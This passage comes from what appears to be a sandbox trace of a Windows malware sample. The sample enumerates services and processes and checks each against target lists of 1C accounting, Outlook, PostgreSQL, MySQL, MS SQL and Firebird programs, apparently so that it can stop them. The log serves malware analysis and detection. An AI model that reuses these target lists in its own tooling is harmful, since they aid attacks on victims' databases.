(HeapHandle=0x5a0000, Flags=0x0, Size=0x18) returned 0x5d6160 [0036.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1a) returned 0x5d5ac0 [0036.783] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f0150, Size=0x20) returned 0x5d5ae8 [0036.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1c) returned 0x5d5b10 [0036.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x16) returned 0x5d6180 [0036.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1a) returned 0x5d5b38 [0036.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5f0150 [0036.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5da398 [0036.784] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40) returned 0x5d6ba0 [0036.784] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da398, Size=0x8) returned 0x5da368 [0036.784] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x3c) returned 0x5d6be8 [0036.784] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da368, Size=0x10) returned 0x5f0120 [0036.784] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x14) returned 0x5d61a0 [0036.784] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x18) returned 0x5d61c0 [0036.784] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f0120, Size=0x20) returned 0x5d5b60 [0036.784] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x24) returned 0x5ec3b8 [0036.784] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0036.784] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f1080 | out: hHeap=0x5a0000) returned 1 [0036.784] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0036.784] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f1188 | out: hHeap=0x5a0000) returned 1 [0036.784] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5d5c00 [0036.785] EnumServicesStatusExW (in: hSCManager=0x5d5c00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 0 [0036.785] GetLastError () returned 0xea [0036.785] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x11e4) returned 0x60e498 [0036.785] EnumServicesStatusExW (in: hSCManager=0x5d5c00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60e498, cbBufSize=0x11e4, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60e498, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 1 [0036.786] CloseServiceHandle (hSCObject=0x5d5c00) returned 1 [0036.786] lstrlenW (lpString="Appinfo") returned 7 [0036.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0036.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0036.786] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0036.786] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0036.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0036.787] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0036.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0036.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0036.787] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0036.787] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0036.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0036.787] lstrlenW (lpString="AudioSrv") returned 8 [0036.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0036.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0036.787] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0036.787] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0036.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0036.787] lstrlenW (lpString="BFE") returned 3 [0036.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0036.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0036.787] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0036.787] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0036.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0036.787] lstrlenW (lpString="CryptSvc") returned 8 [0036.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0036.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0036.787] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0036.787] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0036.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0036.788] lstrlenW (lpString="CscService") returned 10 [0036.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0036.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0036.788] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0036.788] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0036.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0036.788] lstrlenW (lpString="DcomLaunch") returned 10 [0036.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0036.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0036.788] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0036.788] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0036.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0036.788] lstrlenW (lpString="Dhcp") returned 4 [0036.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0036.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0036.788] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0036.788] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0036.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0036.788] lstrlenW (lpString="Dnscache") returned 8 [0036.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0036.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0036.788] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0036.788] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0036.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0036.789] lstrlenW (lpString="DPS") returned 3 [0036.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0036.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0036.789] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0036.789] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0036.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0036.789] lstrlenW (lpString="eventlog") returned 8 [0036.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0036.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0036.789] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0036.789] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0036.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0036.789] lstrlenW (lpString="EventSystem") returned 11 [0036.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0036.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0036.789] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0036.789] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0036.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0036.789] lstrlenW (lpString="gpsvc") returned 5 [0036.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0036.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0036.789] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0036.789] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0036.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0036.790] lstrlenW (lpString="iphlpsvc") returned 8 [0036.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0036.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0036.790] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0036.790] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0036.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0036.790] lstrlenW (lpString="LanmanServer") returned 12 [0036.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0036.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0036.790] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0036.790] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0036.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0036.790] lstrlenW (lpString="LanmanWorkstation") returned 17 [0036.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0036.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0036.790] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0036.790] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0036.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0036.790] lstrlenW (lpString="lmhosts") returned 7 [0036.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0036.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0036.791] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0036.791] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0036.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0036.791] lstrlenW (lpString="MMCSS") returned 5 [0036.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0036.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0036.791] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0036.791] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0036.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0036.791] lstrlenW (lpString="MpsSvc") returned 6 [0036.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0036.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0036.791] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0036.791] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0036.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0036.791] lstrlenW (lpString="Netman") returned 6 [0036.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0036.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0036.791] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0036.791] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0036.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0036.791] lstrlenW (lpString="netprofm") returned 8 [0036.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0036.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0036.791] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0036.792] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0036.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0036.792] lstrlenW (lpString="NlaSvc") returned 6 [0036.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0036.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0036.792] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0036.792] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0036.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0036.792] lstrlenW (lpString="nsi") returned 3 [0036.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0036.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0036.792] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0036.792] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0036.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0036.792] lstrlenW (lpString="PcaSvc") returned 6 [0036.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0036.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0036.792] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0036.792] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0036.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0036.792] lstrlenW (lpString="PlugPlay") returned 8 [0036.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0036.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0036.792] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0036.793] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0036.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0036.793] lstrlenW (lpString="Power") returned 5 [0036.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0036.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0036.793] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0036.793] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0036.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0036.793] lstrlenW (lpString="ProfSvc") returned 7 [0036.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0036.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0036.793] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0036.793] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0036.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0036.793] lstrlenW (lpString="RpcEptMapper") returned 12 [0036.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0036.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0036.793] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0036.793] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0036.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0036.793] lstrlenW (lpString="RpcSs") returned 5 [0036.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0036.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0036.793] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0036.793] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0036.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0036.794] lstrlenW (lpString="SamSs") returned 5 [0036.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0036.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0036.794] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0036.794] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0036.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0036.794] lstrlenW (lpString="Schedule") returned 8 [0036.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0036.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0036.794] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0036.794] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0036.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0036.794] lstrlenW (lpString="SENS") returned 4 [0036.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0036.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0036.794] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0036.794] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0036.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0036.794] lstrlenW (lpString="ShellHWDetection") returned 16 [0036.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0036.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0036.794] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0036.794] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0036.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0036.795] lstrlenW (lpString="Spooler") returned 7 [0036.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0036.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0036.795] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0036.795] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0036.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0036.795] lstrlenW (lpString="SysMain") returned 7 [0036.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0036.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0036.795] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0036.795] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0036.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0036.795] lstrlenW (lpString="Themes") returned 6 [0036.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0036.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0036.795] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0036.795] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0036.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0036.795] lstrlenW (lpString="TrkWks") returned 6 [0036.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0036.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0036.795] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0036.795] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0036.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0036.795] lstrlenW (lpString="UxSms") returned 5 [0036.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0036.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0036.796] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0036.796] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0036.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0036.796] lstrlenW (lpString="WdiServiceHost") returned 14 [0036.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0036.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0036.796] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0036.796] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0036.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0036.796] lstrlenW (lpString="WdiSystemHost") returned 13 [0036.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0036.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0036.796] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0036.796] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0036.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0036.796] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0036.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0036.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0036.797] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0036.797] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0036.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0036.797] lstrlenW (lpString="Winmgmt") returned 7 [0036.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0036.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0036.797] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0036.797] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0036.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0036.797] lstrlenW (lpString="WPDBusEnum") returned 10 [0036.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0036.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0036.797] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0036.797] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0036.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0036.797] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60e498 | out: hHeap=0x5a0000) returned 1 [0036.797] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0036.801] Process32FirstW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0036.802] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0036.802] lstrlenW (lpString="System") returned 6 [0036.802] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0036.802] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0036.802] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0036.802] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0036.803] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0036.803] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0036.803] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0036.803] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0036.803] lstrlenW (lpString="smss.exe") returned 8 [0036.803] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0036.803] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0036.803] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0036.804] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0036.804] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0036.804] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0036.804] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0036.804] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0036.804] lstrlenW (lpString="csrss.exe") returned 9 [0036.804] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0036.804] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0036.804] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0036.804] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0036.805] lstrcmpiW 